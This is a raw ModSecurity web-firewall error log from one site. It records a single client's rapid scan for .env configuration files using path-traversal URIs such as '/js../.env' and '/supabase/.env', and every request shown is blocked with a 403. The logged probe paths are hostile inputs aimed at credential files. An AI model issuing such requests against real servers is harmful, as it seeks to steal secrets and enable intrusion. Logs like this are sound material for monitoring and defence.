[Mon Oct 26 07:29:11.908056 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /js../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/js../.env"] [unique_id "at85h5_dbg3ptBnwDgQ4LQAAAAM"]
[Mon Oct 26 07:29:11.908077 2026] [security2:error] [pid 3023341:tid 3023341] [client 34.19.176.196:37578] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/uploads../.env"] [unique_id "at85h4AjAiW0BJRhWhrVngAAAAc"]
[Mon Oct 26 07:29:11.908118 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/js../.env"] [unique_id "at85h5_dbg3ptBnwDgQ4LQAAAAM"]
[Mon Oct 26 07:29:11.908239 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/js../.env"] [unique_id "at85h5_dbg3ptBnwDgQ4LQAAAAM"]
[Mon Oct 26 07:29:11.908314 2026] [security2:error] [pid 3023341:tid 3023341] [client 34.19.176.196:37578] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/uploads../.env"] [unique_id "at85h4AjAiW0BJRhWhrVngAAAAc"]
[Mon Oct 26 07:29:11.908449 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/js../.env"] [unique_id "at85h5_dbg3ptBnwDgQ4LQAAAAM"]
[Mon Oct 26 07:29:11.909978 2026] [security2:error] [pid 3023391:tid 3023391] [client 34.19.176.196:37708] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /supabase/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/supabase/.env"] [unique_id "at85h9llH_J00GQzpNGhVwAAABg"]
[Mon Oct 26 07:29:11.910134 2026] [security2:error] [pid 3023391:tid 3023391] [client 34.19.176.196:37708] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/supabase/.env"] [unique_id "at85h9llH_J00GQzpNGhVwAAABg"]
[Mon Oct 26 07:29:11.910403 2026] [security2:error] [pid 3023391:tid 3023391] [client 34.19.176.196:37708] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/supabase/.env"] [unique_id "at85h9llH_J00GQzpNGhVwAAABg"]
[Mon Oct 26 07:29:11.910555 2026] [security2:error] [pid 3023407:tid 3023407] [client 34.19.176.196:37676] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /build../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/build../.env"] [unique_id "at85hzUxizeD7p0l-jkfxAAAAB8"]
[Mon Oct 26 07:29:11.910663 2026] [security2:error] [pid 3023407:tid 3023407] [client 34.19.176.196:37676] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /build../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/build../.env"] [unique_id "at85hzUxizeD7p0l-jkfxAAAAB8"]
[Mon Oct 26 07:29:11.910744 2026] [security2:error] [pid 3023407:tid 3023407] [client 34.19.176.196:37676] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/build../.env"] [unique_id "at85hzUxizeD7p0l-jkfxAAAAB8"]
[Mon Oct 26 07:29:11.910939 2026] [security2:error] [pid 3023407:tid 3023407] [client 34.19.176.196:37676] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/build../.env"] [unique_id "at85hzUxizeD7p0l-jkfxAAAAB8"]
[Mon Oct 26 07:29:11.911306 2026] [security2:error] [pid 3023407:tid 3023407] [client 34.19.176.196:37676] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/build../.env"] [unique_id "at85hzUxizeD7p0l-jkfxAAAAB8"]
[Mon Oct 26 07:29:11.911413 2026] [security2:error] [pid 3023392:tid 3023392] [client 34.19.176.196:37712] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /prisma/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/prisma/.env"] [unique_id "at85h1ZCbqkv80FsVwhsbgAAABk"]
[Mon Oct 26 07:29:11.911557 2026] [security2:error] [pid 3023392:tid 3023392] [client 34.19.176.196:37712] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/prisma/.env"] [unique_id "at85h1ZCbqkv80FsVwhsbgAAABk"]
[Mon Oct 26 07:29:11.911785 2026] [security2:error] [pid 3023392:tid 3023392] [client 34.19.176.196:37712] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/prisma/.env"] [unique_id "at85h1ZCbqkv80FsVwhsbgAAABk"]
[Mon Oct 26 07:29:11.912760 2026] [security2:error] [pid 3023393:tid 3023393] [client 34.19.176.196:37668] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at85hxuQQn9l7nrKN7L5gwAAABo"]
[Mon Oct 26 07:29:11.912948 2026] [security2:error] [pid 3023393:tid 3023393] [client 34.19.176.196:37668] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at85hxuQQn9l7nrKN7L5gwAAABo"]
[Mon Oct 26 07:29:11.913159 2026] [security2:error] [pid 3023393:tid 3023393] [client 34.19.176.196:37668] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at85hxuQQn9l7nrKN7L5gwAAABo"]
[Mon Oct 26 07:29:11.913379 2026] [security2:error] [pid 3023409:tid 3023409] [client 34.19.176.196:37762] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /images../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/images../.env"] [unique_id "at85h7LYATfADedA0a_ajwAAACE"]
[Mon Oct 26 07:29:11.913469 2026] [security2:error] [pid 3023409:tid 3023409] [client 34.19.176.196:37762] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /images../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/images../.env"] [unique_id "at85h7LYATfADedA0a_ajwAAACE"]
[Mon Oct 26 07:29:11.913533 2026] [security2:error] [pid 3023409:tid 3023409] [client 34.19.176.196:37762] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/images../.env"] [unique_id "at85h7LYATfADedA0a_ajwAAACE"]
[Mon Oct 26 07:29:11.913688 2026] [security2:error] [pid 3023409:tid 3023409] [client 34.19.176.196:37762] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/images../.env"] [unique_id "at85h7LYATfADedA0a_ajwAAACE"]
[Mon Oct 26 07:29:11.914041 2026] [security2:error] [pid 3023409:tid 3023409] [client 34.19.176.196:37762] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/images../.env"] [unique_id "at85h7LYATfADedA0a_ajwAAACE"]
[Mon Oct 26 07:29:11.915103 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37622] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /assets../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/assets../.env"] [unique_id "at85h05VL05DK7ky7IO-jQAAAA4"]
[Mon Oct 26 07:29:11.915167 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37622] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /assets../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/assets../.env"] [unique_id "at85h05VL05DK7ky7IO-jQAAAA4"]
[Mon Oct 26 07:29:11.915252 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37622] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/assets../.env"] [unique_id "at85h05VL05DK7ky7IO-jQAAAA4"]
[Mon Oct 26 07:29:11.915362 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37622] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/assets../.env"] [unique_id "at85h05VL05DK7ky7IO-jQAAAA4"]
[Mon Oct 26 07:29:11.915589 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37622] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/assets../.env"] [unique_id "at85h05VL05DK7ky7IO-jQAAAA4"]
[Mon Oct 26 07:29:11.916336 2026] [security2:error] [pid 3023285:tid 3023285] [client 34.19.176.196:37534] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /public../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/public../.env"] [unique_id "at85h9-fnwNv3Luhiy4YTAAAAAE"]
[Mon Oct 26 07:29:11.916396 2026] [security2:error] [pid 3023285:tid 3023285] [client 34.19.176.196:37534] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /public../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/public../.env"] [unique_id "at85h9-fnwNv3Luhiy4YTAAAAAE"]
[Mon Oct 26 07:29:11.916450 2026] [security2:error] [pid 3023285:tid 3023285] [client 34.19.176.196:37534] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/public../.env"] [unique_id "at85h9-fnwNv3Luhiy4YTAAAAAE"]
[Mon Oct 26 07:29:11.916572 2026] [security2:error] [pid 3023285:tid 3023285] [client 34.19.176.196:37534] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/public../.env"] [unique_id "at85h9-fnwNv3Luhiy4YTAAAAAE"]
[Mon Oct 26 07:29:11.916833 2026] [security2:error] [pid 3023285:tid 3023285] [client 34.19.176.196:37534] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/public../.env"] [unique_id "at85h9-fnwNv3Luhiy4YTAAAAAE"]
[Mon Oct 26 07:29:11.917772 2026] [security2:error] [pid 3023388:tid 3023388] [client 34.19.176.196:37614] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /css../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/css../.env"] [unique_id "at85hzobCwOEb8ifz36PjwAAABQ"]
[Mon Oct 26 07:29:11.917812 2026] [security2:error] [pid 3023388:tid 3023388] [client 34.19.176.196:37614] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /css../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/css../.env"] [unique_id "at85hzobCwOEb8ifz36PjwAAABQ"]
[Mon Oct 26 07:29:11.917852 2026] [security2:error] [pid 3023388:tid 3023388] [client 34.19.176.196:37614] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/css../.env"] [unique_id "at85hzobCwOEb8ifz36PjwAAABQ"]
[Mon Oct 26 07:29:11.918069 2026] [security2:error] [pid 3023388:tid 3023388] [client 34.19.176.196:37614] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/css../.env"] [unique_id "at85hzobCwOEb8ifz36PjwAAABQ"]
